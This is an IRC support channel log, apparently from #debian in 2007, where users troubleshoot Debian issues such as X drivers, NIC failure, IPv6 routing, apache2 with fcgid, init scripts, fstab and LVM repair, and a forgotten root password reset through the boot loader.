| 14:06.24 | petemc | it will prompt |
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| 14:07.16 | Weems | keith4: http://paste.debian.net/30198 xorg log |
| 14:07.58 | RaphaelZ | petemc? |
| 14:08.02 | petemc | what? |
| 14:08.11 | RaphaelZ | "it will prompt"? |
| 14:08.14 | RaphaelZ | was that for me? |
| 14:08.18 | petemc | RaphaelZ: it was |
| 14:08.28 | RaphaelZ | it will prompt what? :D |
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| 14:08.32 | petemc | for a password |
| 14:08.32 | abrotman | for your password |
| 14:08.36 | RaphaelZ | nope |
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| 14:09.20 | petemc | RaphaelZ: it does, a common use of rsync would be: rsync -avz /source/dir/ user@host:/dest/dir |
| 14:09.29 | keith4 | Weems: pastebin /var/log/gdm/:0.log |
| 14:09.45 | Weems | k |
| 14:09.47 | RaphaelZ | petemc: -avz? |
| 14:09.50 | petemc | man rsyncx |
| 14:09.54 | petemc | s/x// |
| 14:10.27 | RaphaelZ | remote host indentifiction changed |
| 14:10.52 | Weems | keith4: http://pastebin.ca/558748' |
| 14:11.01 | Weems | http://pastebin.ca/558748 |
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| 14:11.34 | RaphaelZ | petemc: http://pastebin.ca/558749 |
| 14:11.47 | petemc | why would i want to read that? |
| 14:11.53 | RaphaelZ | huh |
| 14:12.03 | RaphaelZ | you felt helpful |
| 14:12.13 | petemc | it passed |
| 14:12.14 | RaphaelZ | seemed is a better term |
| 14:12.18 | RaphaelZ | heh |
| 14:12.34 | keith4 | Weems: you have no fonts? |
| 14:12.38 | abrotman | !fixed |
| 14:12.38 | dpkg | somebody said fixed font was if X is complaining about "finding font 'fixed'" you don't have the xfonts-base package. usually this means you want to "aptitude install xorg" |
| 14:12.42 | raxip | Hi |
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| 14:12.52 | Weems | I have no fonts? |
| 14:13.21 | abrotman | Weems: aptitude install xorg .. try again |
| 14:13.39 | Weems | xfonts-base is already the newest version. |
| 14:13.44 | keith4 | Weems: what does `dpkg -l | grep xfonts` show? |
| 14:13.49 | abrotman | Weems: aptitude install xorg .. try again |
| 14:13.52 | raxip | you tell me |
| 14:13.52 | keith4 | (hopefully ii for a bunch of font packages) |
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| 14:15.01 | Weems | keith4: http://pastebin.ca/558757 |
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| 14:15.43 | keith4 | whoa |
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| 14:16.00 | bkudria | i want to run several apache2 vhosts with php4 and php5 using fcgid. i can't seem to find any tutorials that describe the debian way of doing this. can anyone help, or point me in the right direction? |
| 14:16.04 | JarJarBinks | what a shame your email address is publicly shown, when you report a bug (keeps me from reporting) |
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| 14:16.55 | JarJarBinks | any way to report a bug without having to sacrifice an email account |
| 14:17.01 | fengor | wtf? why is that a shame? |
| 14:17.21 | keith4 | get a gmail account? |
| 14:17.23 | JarJarBinks | fengor: you don't get spam? |
| 14:17.36 | fengor | JarJarBinks: i know how to filter my mail |
| 14:17.48 | JarJarBinks | great for you fengor |
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| 14:18.00 | krinns | hi all |
| 14:18.00 | krinns | <krinns> i cant get up my eth1 |
| 14:18.00 | krinns | <krinns> it says |
| 14:18.00 | krinns | <krinns> error while getting interface flag:no such device] |
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| 14:18.10 | MoDaX | JarJarBinks: how do you think a maintainer is supposed to reach you? |
| 14:18.19 | JarJarBinks | wouldn't it be easier if the maintainer got your emai, or you got the option to have your mail "removed" from the homepage |
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| 14:18.24 | krinns | hi all |
| 14:18.33 | krinns | i cant get up my NIC card |
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| 14:18.37 | krinns | gives error |
| 14:18.37 | keith4 | so you said |
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| 14:18.54 | krinns | error while getting interface flag: no such device found |
| 14:18.55 | MoDaX | JarJarBinks: no, cause not only maitainers are interested in bugs |
| 14:19.03 | krinns | also lspci wont work tooo |
| 14:19.07 | krinns | any idea |
| 14:19.07 | keith4 | krinns: pastebin `ifconfig -a` |
| 14:19.16 | JarJarBinks | the bug is the same.. whether my mail is listed or not |
| 14:19.29 | keith4 | krinns: install 'pciutils' |
| 14:19.35 | bkudria | i want to run several apache2 vhosts with php4 and php5 using fcgid. i can't seem to find any tutorials that describe the debian way of doing this. can anyone help, or point me in the right direction? |
| 14:19.41 | hatter | then you should report it or else turn off your computer and go play golf |
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| 14:20.16 | keith4 | what part is confusing? vhosts, fcgid, ? |
| 14:20.17 | jelly-home | fcgid, huh? Rails? |
| 14:20.23 | keith4 | fast cgi |
| 14:20.42 | karmatronic | krinns: what s your card model ? |
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| 14:20.48 | krinns | no idea |
| 14:20.52 | krinns | its not my machine |
| 14:20.58 | krinns | my clint just called me up |
| 14:21.04 | krinns | i told hom to do lspci |
| 14:21.10 | bkudria | jelly-home: nope, not rails. just fcgid |
| 14:21.11 | wols | krinns: what does lspci say? |
| 14:21.40 | bkudria | jelly-home: it's a binary-compatible improved version of fastcgi |
| 14:21.58 | JarJarBinks | can anyone explain to me why other ppl than the maintainer need to know my email address, if they can still see the bug report? |
| 14:22.07 | JarJarBinks | s/they/the public/ |
| 14:22.40 | jelly-home | bkudria: We're using it for Rails on shared hosting machines here |
| 14:22.43 | JarJarBinks | guess I'm just bugging you guys |
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| 14:22.51 | abrotman | JarJarBinks: we're the wrong people to ask |
| 14:23.08 | bkudria | jelly-home: we may use it for rails in the future, but now i just wanna get php4 and php5 working |
| 14:23.09 | JarJarBinks | abrotman: okay thanks |
| 14:23.19 | Crypticfortune | i use sneakemail, but still, i agree with jarjar that if http://bugs.debian.org didn't show email, that would basically eliminate (or at least drastically reduce) spam from bug reports... |
| 14:23.37 | krinns | http://www.pastebin.ca/558775 |
| 14:23.40 | krinns | see this |
| 14:23.50 | JarJarBinks | I wanted to make a feature request on reportbug to make emails anonymous to the public... reportbug needed my email :) |
| 14:23.57 | krinns | it only shows on real tech card |
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| 14:24.01 | krinns | strange |
| 14:24.10 | krinns | that machine was working fine in my end |
| 14:24.14 | abrotman | krinns: is there another? is it also PCI ? |
| 14:24.21 | krinns | yes |
| 14:24.28 | krinns | i told my guy to change PCI slot |
| 14:24.30 | abrotman | is it conflicting IRQs? |
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| 14:24.39 | krinns | how i check taht |
| 14:24.40 | abrotman | maybe the card died ? |
| 14:24.45 | krinns | yes may be |
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| 14:24.56 | abrotman | PupUser9641e1: try #puppylinux |
| 14:24.57 | krinns | how i confirm that card is dead |
| 14:24.59 | abrotman | oh ok |
| 14:25.15 | abrotman | krinns: does it even light up ? |
| 14:25.33 | wols | it's a built in card. where are there any luights? |
| 14:25.36 | wols | *lights |
| 14:25.40 | Weems | keith4: It doesnt look as though I am missing fonts |
| 14:25.48 | keith4 | Weems: no, it doesn't |
| 14:25.51 | Weems | it shows font names |
| 14:26.07 | karmatronic | wols: when yuo connect the card , it s supposed to turn green.... |
| 14:26.13 | keith4 | Weems: what's the first line of your pastebin indicate? |
| 14:26.31 | wols | karmatronic: what card? and how does a card change color? |
| 14:26.55 | karmatronic | wols: the LED near the cable input..... |
| 14:26.58 | Weems | it shows xfonts-100dpi |
| 14:27.01 | wols | the only "card" in this case is the motherboard. and I never seen any of those ever changing colors... |
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| 14:27.13 | Weems | keith4: the dmsg fonts list? |
| 14:27.15 | wols | karmatronic: built in ethernet with LEDS? since when? |
| 14:27.21 | keith4 | Weems: no, gdm log |
| 14:27.24 | Weems | oh |
| 14:27.25 | Weems | k |
| 14:27.27 | abrotman | wols: i have them here |
| 14:27.34 | abrotman | wols: lots of them actually |
| 14:27.37 | wols | abrotman: with LEDs? on the mobo? |
| 14:27.42 | abrotman | on the back of it... yes |
| 14:27.42 | xand | wols: most of them have LEDs on the mobo |
| 14:27.48 | abrotman | where the RJ45 is |
| 14:27.50 | Weems | I dint know |
| 14:27.53 | xand | they're built into the RJ45 socket |
| 14:27.58 | Weems | keith4: its just a blank line |
| 14:28.01 | wols | xand: never seen any. the only mobo LEDs I see are POST ones |
| 14:28.05 | abrotman | wols: are you still using a 386? |
| 14:28.11 | karmatronic | wols: http://www.officexl.de/intershoproot/eCS/Store/de/pixorig/046866A1.gif |
| 14:28.20 | xand | haha |
| 14:28.34 | wols | karmatronic: that is nice. howevre the one we talk about is built into the mobo |
| 14:28.35 | abrotman | karmatronic: that's not a builtin |
| 14:28.42 | xand | wols: well I have seen one board without network LEDs on, but all the rest have had them |
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| 14:28.57 | keith4 | Weems: no, wasn't there a line about displaymanager: no such file or something? |
| 14:28.59 | krinns | abortman |
| 14:29.05 | karmatronic | abrotman: i know,but i couldn resist |
| 14:29.07 | krinns | howe i confirm that my card is dead |
| 14:29.09 | wols | xand: I have several nf2 based mobos here. no LEDs |
| 14:29.10 | Weems | keith4: updated http://paste.debian.net/30203 |
| 14:29.13 | krinns | any idea |
| 14:29.24 | abrotman | wols: http://www.newegg.com/Product/ShowImage.aspx?Image=13-121-052-02.jpg%2c13-121-052-03.jpg%2c13-121-052-04.jpg%2c13-121-052-05.jpg%2c13-121-052-06.jpg%2c13-121-052-07.jpg&CurImage=13-121-052-03.jpg&Depa=1&Description=Intel+BOXDG965WHMKR+LGA+775+Intel+G965+Express+ATX+Intel+Motherboard+-+Retail .. see .. LEDs |
| 14:29.30 | xand | wols: my nf2 one has LEDs :) they're orange and yellow |
| 14:29.30 | abrotman | holy shit that's a long URL |
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| 14:29.52 | Weems | abrotman: tinyurl |
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| 14:30.15 | abrotman | Weems: i didn't know it was that long :) |
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| 14:30.19 | keith4 | whoops |
| 14:30.42 | wols | abrotman: must be a GBit fad |
| 14:30.42 | keith4 | try #xorg? |
| 14:30.49 | Crypticfortune | so, now that debian demands that we choose either -st or -mt for linking boost stuff, is there a nice way to autodetect whether the current machine has libboost_regex or libboost_regex-st? (neither pkg-config nor autoconf/automake are boost-friendly afaik) |
| 14:31.03 | Weems | ok keith4 |
| 14:31.13 | Weems | abrotman: its fine |
| 14:31.34 | xand | wols: nah, dell boards have them too |
| 14:31.50 | Crypticfortune | inside a makefile i mean... |
| 14:31.54 | xand | and my erm pc-chips one |
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| 14:32.29 | wols | xand: GBit as in GBit ethernet as opposed to fast ethernet |
| 14:32.36 | wols | shows how old my hardware is :) |
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| 14:33.22 | xand | wols: oh ok i was thinking gigabyte as in motherboards, but anyway |
| 14:33.27 | JarJarBinks | Crypticfortune: check /usr/lib/libboost_*-mt |
| 14:33.28 | JarJarBinks | etc |
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| 14:35.46 | JarJarBinks | Crypticfortune: the places to look are in /etc/ld.so.conf + those given with -L :) |
| 14:36.44 | Jacob_H | Having gone round in circles after the lenny update killed beryl, I'm now having problems with my NVidia drivers. Xorg can't find a module: "(EE) Failed to load module "nvidia" (module does not exist, 0)" even though lsmod | grep nvidia shows it being there and most other conditions seem to be fine. Does anyone have any suggestions as to what might else be wrong to cause this problem? |
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| 14:37.49 | Crypticfortune | JarJarBinks: heheh yes, but, i kinda meant short of writing my own hacky-script to check those, i was wondering if the boost package maintainers had some sort of plan to save us from gross incompatibability or just say "you fix it..." |
| 14:37.57 | MoDaX | Jacob_H: who did you install nvidia driver? |
| 14:38.16 | Crypticfortune | jacob_H: ooo, i had that problem. had to go rebuild the nvidia kernel module |
| 14:38.21 | MoDaX | Jacob_H: maybe module and X driver versions don't match? |
| 14:38.24 | JarJarBinks | Crypticfortune: ahh, I see :) |
| 14:38.31 | abrotman | wols: nope .. i have plenty of 10/100 with it also |
| 14:38.49 | abrotman | wols: maybe it's an intel vs amd thing ? |
| 14:38.56 | wols | that could be it |
| 14:38.57 | jelly-home | Crypticfortune: file a preemptive bug report? :-) |
| 14:39.04 | wols | intel always had the better NICs anyways |
| 14:39.52 | Jacob_H | After beryl went down, there were lots of suggestions as to what could be done to resolve the conflict. I tried to remove everything by running the nvidia install script with --uninstall and apt-get remove --purge the .deb files |
| 14:40.40 | Jacob_H | is there anyway to reset these things to a "vanilla" state so I can start from scratch again? |
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| 14:42.35 | abrotman | wols: or maybe you just buy crap |
| 14:43.09 | Jacob_H | Crypticfortune: did you do manual reconfigure? |
| 14:43.14 | Crypticfortune | Jacob_H: apt-get/dpkg --purge stuff won't actually solve your problem (at least it didn't for me). the problem I had was that module-assistant refused to replace the old driver witht he new one |
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| 14:44.01 | Crypticfortune | Jacob_H: i had to get the apt-get source the kernel module, manually build and install it to kill the old one. |
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| 14:44.49 | wols | Jacob_H: what .deb files if you used the nvidia installer? |
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| 14:45.13 | J_P | hi all |
| 14:45.15 | wols | and if you used the nvidia.com stuff, don't ask us about a "vanilla" state, ask nvidia |
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| 14:45.38 | blinx | vin`: hey |
| 14:45.50 | blinx | http://www.google.com/search?q=vmware-any-any-update109.tar.gz&ie=utf-8&oe=utf-8&aq=t&rls=org.debian:de:unofficial&client=iceweasel-a |
| 14:46.05 | blinx | http://ftp.cvut.cz/vmware/ |
| 14:46.15 | blinx | load it and follow the instructions :-) |
| 14:46.49 | J_P | people, I have a problem : I have a server with RAID1 running, but when machine will be rebooting show this : "Stopping MD array md0... [ fail ] " Any idea ? arraya are working... |
| 14:46.56 | karmatronic | blinx: you take your time, but you do solve problems |
| 14:47.19 | Jacob_H | wols: I had originally installed the drivers which came from the nvidia-kernel-common package. I then upgraded with the nvidia script as it was suggested that that might sort out the beryl problems. Crypticfortune is probably right that there is now a conflict between the apt-get installed drivers and the others |
| 14:47.26 | karmatronic | blinx: cos i m scrolling and scrolling ,but cant see any vin here :) |
| 14:47.56 | blinx | hm |
| 14:48.04 | blinx | !seen vin` |
| 14:48.04 | dpkg | vin` is currently on #debian (1h 58m 37s). Has said a total of 7 messages. Is idling for 1h 30m 35s, last said: 'earthian: bug #425458'. |
| 14:48.05 | Jerom817 | Saw vin` Joining #debian on Mon Jun 11 15:48:00 2007 |
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| 14:48.53 | drako | [B]abyLiz78 = p0rn Spammer |
| 14:49.03 | Jacob_H | Crypticfortune: is that a fairly straight-forward process? I'm worried about causing more problems than I can solve |
| 14:49.20 | alindeman | Thanks drako |
| 14:49.35 | drako | alindeman, np |
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| 14:51.58 | Crypticfortune | Jacob_H: heheh if you're worried about that, upgrading to lenny/sid might have been a dangerous move ;) But basically it's just "tar -xzvf nvidia-kernel-source;cd modules/nvidia-kernel;make;make install" |
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| 14:52.18 | czester | Hi |
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| 14:53.18 | czester | Does anyone know how much debian's and ubuntu init scripts are the same? |
| 14:53.32 | Crypticfortune | Jacob_H: i have to go though, so good luck! |
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| 14:53.36 | vin` | blinx: had tried that, doesn't work with 2.6.22, anyway OT here. cheers |
| 14:53.37 | Jacob_H | Crypticfortune: that's fair enough...kernel issues are not really my speciality which is why I'm alittle cautious! |
| 14:53.42 | Jacob_H | *a little |
| 14:53.54 | Jacob_H | Crypticfortune: thanks, I'll give it a go |
| 14:53.55 | Jonny| | Hey,Can anyone help me, right now my graphics card driver is using "vesa" but it runs so slow on games, i was wandering if theres any better i could use. im new to linux and not quite sure |
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| 14:54.37 | stew | Jonny|: which chipset does your video card have? |
| 14:54.49 | czester | Or where can I find file with main init script and in which I can edit syntax? |
| 14:54.57 | Phil4 | hi guys, I've assigned eth2 on my Debian PC with an ipv6 address in my /64 with "ifconfig eth2 inet6 add 2001:618:400:5d24::3/64" and added a route to the router with "route -A inet6 add ::/0 gw 2001:618:400:5d24::1". I can ping6 the gateway IP but I get "network unreachable" when I try to ping6 anything outside it. Any ideas? |
| 14:55.00 | Jonny| | Sec |
| 14:55.22 | wols | Phil4: ip forwarding enabled? |
| 14:55.28 | stew | czester: what do you mean by the main init script? |
| 14:55.31 | Jonny| | Identifier"Intel Corporation Mobile 915GM/GMS/910GML Express Graphics Controller" |
| 14:55.31 | Jonny| | Driver"vesa" |
| 14:55.31 | Jonny| | BusID"PCI:0:2:0" |
| 14:55.38 | Phil4 | it must be on the desktop wols? |
| 14:55.38 | Jonny| | Thats all i know... |
| 14:55.43 | stew | !tell Jonny| about paste |
| 14:55.48 | wols | Phil4: on the router of course |
| 14:55.53 | Jonny| | it wasnt that long o.0 |
| 14:55.57 | stew | Jonny|: "dpkg-reconfigure xserver-xorg" and select i810 as the driver |
| 14:56.01 | jatt | grr.. |
| 14:56.01 | Phil4 | it is on the router |
| 14:56.03 | Jonny| | as |
| 14:56.04 | wols | Jonny|: i915 |
| 14:56.08 | Jonny| | i810, it doesnt run my game |
| 14:56.09 | Phil4 | my Vista laptop works fine with it |
| 14:56.11 | Jonny| | it gives a OpenGL Error |
| 14:56.12 | stew | wols: does etch have a i915 driver? |
| 14:56.20 | zottel | yes |
| 14:56.21 | czester | stew: The core script that is responsible for messages like "* Starting ftp server proftpd [ok]". I'd like to change it's syntax |
| 14:56.27 | zottel | it's included in the 810 |
| 14:56.28 | wols | beats me, but that is the one he needs |
| 14:56.49 | stew | czester: there is no main script, it is a collection of scripts all of which are located in /etc/init.d |
| 14:56.52 | Phil4 | wols: when I said "added a route to the router" I meant I added a route on the desktop, pointing to the router |
| 14:56.57 | Jonny| | Should i use i810 or i915? |
| 14:56.59 | motin | How do I install the firefox developer tools? In gentoo I'd use the "mozdevelop" flag but in Debian/Ubuntu? |
| 14:57.03 | stew | czester: read /etc/init.d/README |
| 14:57.14 | wols | Phil4: and when I said you need to enable ip forwarding on the router, I just meant that |
| 14:57.31 | Phil4 | the router is working fine wols |
| 14:57.35 | cydork | Jonny|: i810 driver which supports i915. |
| 14:57.38 | Phil4 | as I said, my Vista laptop is using it happily |
| 14:57.44 | wols | if you can't ping the internet from a client, then it isn't |
| 14:57.50 | Jonny| | cydork: Before when i used i810, i got a OpenGL Error on the game |
| 14:57.51 | czester | stew: Yeah, I know there is collection of such scripts. But I wonder how is it possible that in gentoo this output is in color and scripts in /etc/init.d/ look the same |
| 14:58.01 | Jonny| | i was told to change it so vesa, when i did the game worked but really slowly |
| 14:58.03 | Phil4 | wols: I can ping the internet from the Vista laptop |
| 14:58.17 | stew | czester: the scripts in /etc/init.d don't look the same |
| 14:58.25 | cydork | Jonny|: that's might be releted to game or somthing but you want i810 for sure. |
| 14:58.26 | LoneWlf | what is that game called with the penguin and all the frozen... oh yeah |
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| 14:58.32 | wols | Phil4: so what exactky does it say when you say, "ping google.com"? |
| 14:58.39 | wols | LoneWlf: tuxracer? |
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| 14:58.42 | Jonny| | mhm ok cydork |
| 14:58.42 | zottel | how does your open-gl-error look like, Jonny_? |
| 14:58.43 | czester | stew: They do not contain information about colors - that's what I ment ;-) |
| 14:58.48 | karmatronic | LoneWlf: frozen-bubble |
| 14:58.57 | Phil4 | it pings that fine wols, since it's a v4 IP |
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| 14:59.17 | czester | stew: Also they do not contain any information about syntax of output |
| 14:59.19 | Phil4 | if I "ping6 2001:500::1035" it says "Network Unreachable" |
| 14:59.36 | stew | czester: sorry i can't help you decipher the gentoo init scripts |
| 14:59.48 | czester | stew: It's not about gentoo init scripts |
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| 14:59.53 | czester | stew: Let me explain |
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| 15:00.25 | zottel | is it something like: "Exception: OpenGL extension not supported: GL_ARB_texture_env_crossbar", Jonny_ |
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| 15:00.39 | bkudria | can someone walk me through enableing php5 support with fcgid and apache2? i've already got all the packages installed, and a vhost setup. how do i enabled php5? |
| 15:00.40 | Jonny| | yeah |
| 15:00.40 | stew | czester: if you want to output color from a script, google for "ansi color" or "ansi color escape codes" or something similar |
| 15:00.45 | Jonny| | something similiar zottel |
| 15:01.06 | zottel | was it the GL_ARB_texture_env_crossbar or something else? |
| 15:01.45 | czester | stew: My system shows messages like: "* Starting ftp server proftpd [ok]". I assume there must be a script that defines this because scripts in /etc/init.d/ do not contain any syntax rules. |
| 15:01.50 | Jonny| | mhm |
| 15:01.52 | Jonny| | not sure |
| 15:01.57 | Jonny| | Zottel ill come back in 5-10 mins |
| 15:01.59 | Jonny| | im restarting now |
| 15:02.02 | zottel | ok |
| 15:02.06 | Jonny| | so i810 gfx driver is on |
| 15:02.11 | zottel | yes |
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| 15:02.42 | karmatronic | bkudria: LoadModule php5_module /usr/lib/apache/1.3/libphp5.so |
| 15:02.54 | karmatronic | bkudria: in /etc/apache/modules.conf |
| 15:03.03 | bkudria | karmatronic: i'm using apache 2.2 |
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| 15:03.16 | karmatronic | bkudria: so use a2enmod |
| 15:03.21 | yang- | How could I fix this issue with upgrade - http://paste.debian.net/30191 |
| 15:03.41 | stew | czester: yes, it is defined in the script: log_daemon_msg "Starting ftp server" "$NAME" log_end_msg 1 ; the definitions for log_daemon_msg and log_end_message are right inside /etc/init.d/proftpd |
| 15:03.59 | bkudria | karmatronic: i'm not using mod_php5, i want to use php5-cgi and fcgid |
| 15:04.16 | bkudria | karmatronic: i've done a2enmod fcgid, of course |
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| 15:05.41 | karmatronic | bkudria: AddHandler fcgid-script .php in your virtualhost section |
| 15:06.20 | Phil4 | any ideas wols? |
| 15:06.36 | bkudria | karmatronic: i have that line in /etc/apache2/mods-enabled/fcgid.conf |
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| 15:07.19 | czester | stew: Hmmmm... /etc/lsb-base-logging.sh looks interesting ;-) |
| 15:07.32 | karmatronic | bkudria: is php configured with --enable-fastcgi option? |
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| 15:08.08 | bkudria | karmatronic: the output of php5-cgi -v shows: PHP 5.2.1 (cgi-fcgi) (built: May 22 2007 18:57:44), so, yes |
| 15:08.27 | cydork | yang-: you tried to reinstall as suggested? |
| 15:08.29 | czester | stew: Yup. That's what I was looking for ;-) Thanks anyways ;-) |
| 15:09.38 | stew | czester: note that this file is not guaranteed to be installed. also note that if you start changing the init scripts, you won't get any changes to the init scripts made by the maintainer if you get a new version of the package |
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| 15:09.50 | yang- | cydork: i tried all sort of things aptitude upgrade ; dpkg -i ; dpkg-reconfigure ; aptitude purge everytime finished into error |
| 15:10.47 | wols | yang-: dpkg -i <lftp package you have currently misinstalled> |
| 15:10.52 | wols | if that errors: paste the error |
| 15:10.53 | bkudria | karmatronic: so,any idea? everything is *supposed* to work |
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| 15:10.57 | cydork | yang-: did you try reinstall option?? |
| 15:11.33 | czester | stew: I'm aware of that. I will do backup ;-) |
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| 15:13.39 | yang- | cydork: aptitude reinstall package? |
| 15:13.45 | cydork | yang-: yeah |
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| 15:14.38 | yang- | I get error, I can paste into #flood |
| 15:14.41 | Phil4 | eh, nevermind wols :S |
| 15:14.45 | Phil4 | a reboot sorted it |
| 15:14.47 | Phil4 | thanks anyway |
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| 15:16.00 | |DuReX| | Hello guys, my pc is crashing sometimes, i took picture of the error: http://users.edpnet.be/dupondje/DSC00018.JPG & http://users.edpnet.be/dupondje/DSC00019.JPG any id what could cause this ? |
| 15:17.18 | stickybit` | i have .dbf (foxpro) file ... i want to use it in mysql ...... what to do? |
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| 15:17.26 | Jonny| | hey ;o |
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| 15:17.49 | Jonny| | Who was it i was speaking to a minute ago? |
| 15:18.03 | somian[0] | A 6 foot rabbit? |
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| 15:18.14 | Jonny| | ?:O |
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| 15:18.23 | Jonny| | well anyways heres the OpenGL Error |
| 15:18.24 | Jonny| | http://pastebin.se/20011 |
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| 15:18.32 | Jonny| | for who i was speaking to a minute ago |
| 15:18.48 | Jonny| | zottel i think it was |
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| 15:19.59 | zottel | nope it isn't... |
| 15:20.09 | zottel | sorry, i can't help you with that :-( |
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| 15:21.01 | Jonny| | dang |
| 15:21.01 | Jonny| | ;/ |
| 15:21.02 | Jonny| | im on i810 graphics driver... |
| 15:21.02 | Jonny| | vesa graphics driver runs the game but runs so slowly... |
| 15:21.03 | Jonny| | takes ages to type and move mouse >.< |
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| 15:21.33 | ChangedNick | i have forgotten the password for root, is there a way to recover it?????? |
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| 15:21.44 | g00se | Probably just done a foolhardy manual edit of fstab after lvm2 changes. The second disk is now in an lvm. Is there a tool to build fstab automatically? |
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| 15:22.45 | ezguy | hi, which one offter better performance and features? fluxbox or blackbox |
| 15:23.08 | Wyzard | ChangedNick: Boot with "init=/bin/bash" on the kernel's options line and you'll get a root shell no-questions-asked |
| 15:23.17 | humbolto | when I assigned an address to an interface with ifconfig how do I delete this address again. All I want is the interface to be up. |
| 15:23.35 | krazykit | ezguy, i'd say fluxbox. it supports blackbox themes and has several features not in blackbox. i think there're numbers on speed on the FAQ, too |
| 15:23.42 | Wyzard | ChangedNick: The root filesystem will still be read-only, so make it writable (mount / o -remount,rw), change root's password, switch back to read-only (mount / -o remount,ro) and reboot |
| 15:24.27 | ChangedNick | Wyzard: how to boot with init=/bin/bash? |
| 15:24.54 | ChangedNick | where is the kernel's options line? |
| 15:25.21 | Wyzard | ChangedNick: If you use GRUB, press 'e' at the boot menu to get a listing of the actual commands it runs |
| 15:25.36 | Wyzard | ChangedNick: The second one should be a "kernel=" line; highlight that and press 'e' again and you can add options at the end |
| 15:25.47 | Wyzard | ChangedNick: Add the option, press Enter to get back to the menu, and 'b' to boot |
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| 15:26.56 | |DuReX| | somebody knows how i could fix that error ? : |
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| 15:27.08 | ChangedNick | the option should be 'init=/bin/bash, right? |
| 15:27.14 | Wyzard | right |
| 15:27.48 | Wyzard | That'll make the kernel just run a shell as the system's only process, rather than the usual /sbin/init which starts everything else up |
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| 15:28.41 | ChangedNick | i see ok thanks, i hope I will be able to manage it |
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| 15:29.31 | ChangedNick | Wyzard: thanks a lot, I just haven't used the root for a while and now when I was trying to get synaptic manager on debian etch, I cannot recall the password |
| 15:29.37 | ChangedNick | bye |
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| 15:33.28 | g00se | fscked up fstab. Best way to restore backup? - box won't boot. |
| 15:33.43 | petemc | rescue cd |
| 15:33.50 | petemc | knoppix or some such |
| 15:34.11 | g00se | petemc: Thanks |
| 15:34.51 | somian[0] | knoppix, grml, dsl, etc ... so many choices, and the only danger is, you'll forget that you wanted to get something fixed, they're all so good. |
| 15:34.52 | g00se | petemc: any way to let it just load initrd without reading fstab? |
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| 15:36.12 | petemc | g00se: to do what now? |
| 15:36.17 | |DuReX| | Hello guys, my pc is crashing sometimes, i took picture of the error: http://users.edpnet.be/dupondje/DSC00018.JPG & http://users.edpnet.be/dupondje/DSC00019.JPG any id what could cause this ? |
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| 15:36.56 | g00se | petemc: well to try to get to a shell |
| 15:37.23 | cyzie | any idea what does w8 stand for ? |
| 15:37.29 | petemc | g00se: you can use the grub shell to specify where the kernel is and root should be, is that what you mean? |
| 15:38.33 | g00se | petemc: Could do it yes - all i've done is edited fstab manually (and wrongly) |
| 15:38.44 | Wyzard | g00se: initrd doesn't depend on fstab |
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| 15:39.24 | Wyzard | g00se: The root filesystem gets mounted by the kernel and initrd regardless of what's in fstab; it can't even see fstab until after that's done |
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| 15:39.51 | g00se | Wyzard: Yes - that's my point. How do i say - 'stop when you've loaded and don't boot kernel' (coz fstab wromg)? |
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| 15:40.12 | petemc | init=/bin/sh |
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| 15:40.22 | Wyzard | My point is that a wrong fstab should not completely prevent the system from booting |
| 15:40.35 | Wyzard | It might prevent other filesystems from being mounted, but not the root filesystem |
| 15:41.23 | Wyzard | You could probably just boot in single-user mode to fix it |
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| 15:41.35 | g00se | Wyzard: Maybe something to do with lvm? |
| 15:41.38 | Wyzard | and if that doesn't work, use init=/bin/sh like petemc said -- that'll definitely work |
| 15:41.51 | Wyzard | g00se: Well, what error do you get when you try to boot? |
| 15:42.55 | g00se | Wyzard: Not completely sure yet - i'm on ssh. Someone else at box |
| 15:43.07 | cyzie | anyway has wireless access point and query it using SNMP before? |
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| 15:43.47 | stool^sample | feces |
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| 15:43.50 | stool^sample | bowel movement |
| 15:43.52 | stool^sample | bloody kleenex |
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| 15:44.39 | |DuReX| | nobody that could help me ? :( |
| 15:44.51 | krazykit | !ops stool^sample is saying inappropriate things |
| 15:44.51 | dpkg | Hydroxide, bob2, caphuso, dondelelcaro, doogie, eeyore-, ElectricElf, ):, helix, ljlane, LoRez, RichiH, mentor, Netsnipe, TML, walters, xk, gravity, azeem, Maulkin, stew, peterS, Alife, Myon, Ganneff, Maulkin, weasel, zobel: krazykit complains about: stool^sample is saying inappropriate things |
| 15:44.51 | stool^sample | i can help you. what's your problem again? |
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| 15:46.53 | krazykit | |DuReX|, i can't stay, but google points to possibilities of IRQ problems. that may get you pointed in the right direction |
| 15:47.15 | krazykit | and thanks, stew |
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| 15:48.01 | jazbo2186 | How can a print a small pdf image so that it is scaled to fill the whole paper? |
| 15:48.01 | g00se | Wyzard: back in now. Something wrong with lvm2 was cause i think |
| 15:48.45 | Wyzard | g00se: That's too vague... what I meant was, what specifically is failing, because a bad fstab shouldn't hinder the system so much that a root login at the console can't fix it |
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| 15:48.55 | Wyzard | g00se: though you mentioned that it's a remote system and you don't have console access |
| 15:49.19 | g00se | Wyzard: someone else booted it manually |
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| 15:54.44 | harobed | does somone have one experience about nfs v4 ? |
| 15:54.50 | g00se | Wyzard: >>g00se: That's too vague... I can tell you what i changed if you really want ;-) |
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| 15:57.08 | g00se | Wyzard: Just feeling my way with lvm2. Shouldn't have touched fstab manually probably- i knew that before i did it ;-) |
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| 15:58.27 | defected | any tutorial to help me install a package wich depends on an unstable version of some other package ? |
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| 16:00.42 | g00se | defected: maybe easier to find backport |
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| 16:01.38 | g00se | What is its name? |
| 16:02.03 | |DuReX| | where can i find sunrpc in linux kernel menuconifig ? |
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| 16:03.12 | wols | dunker: what for? |
| 16:03.20 | wols | do you mean portmapper? |
| 16:04.03 | wols | defected: /msg defected simple sid backport |
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| 16:12.09 | ezguy | hi, how can i clear the sudo password so i can re-enter the user password again? |
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| 16:14.19 | jasonwc | I was in the process of doing an "aptitude upgrade" on a remote system through an SSH shell when my cable modem went down for about 10 minutes so I got disconnected from the shell. Is there any way for me to check whether the upgrade occurred without error? |
| 16:14.20 | waspius | how can i have java support in iceweasel? |
| 16:14.20 | stew | jasonwc: check /var/log/aptitude |
| 16:14.20 | gpm | waspius: sun-java6-plugin |
| 16:14.20 | pickcoder | jasonwc: use screen from now on.. <g> |
| 16:14.20 | waspius | thank you |
| 16:14.21 | stew | waspius: add non-free to your sources.list (/msg dpkg non-free) then 'aptitude install sun-java5-plugin' |
| 16:14.21 | jasonwc | pickcoder: yeah, i should have :( |
| 16:14.39 | gpm | heh, oops |
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| 16:14.51 | epsilon | or install the SE 6update1 JRE from java.sun.com |
| 16:14.57 | jasonwc | stew: already did, but the log file says it only shows intended status. It says that the log won't report dpkg errors. |
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| 16:15.02 | gpm | no |
| 16:15.11 | stew | jasonwc: /var/log/dpkg.log |
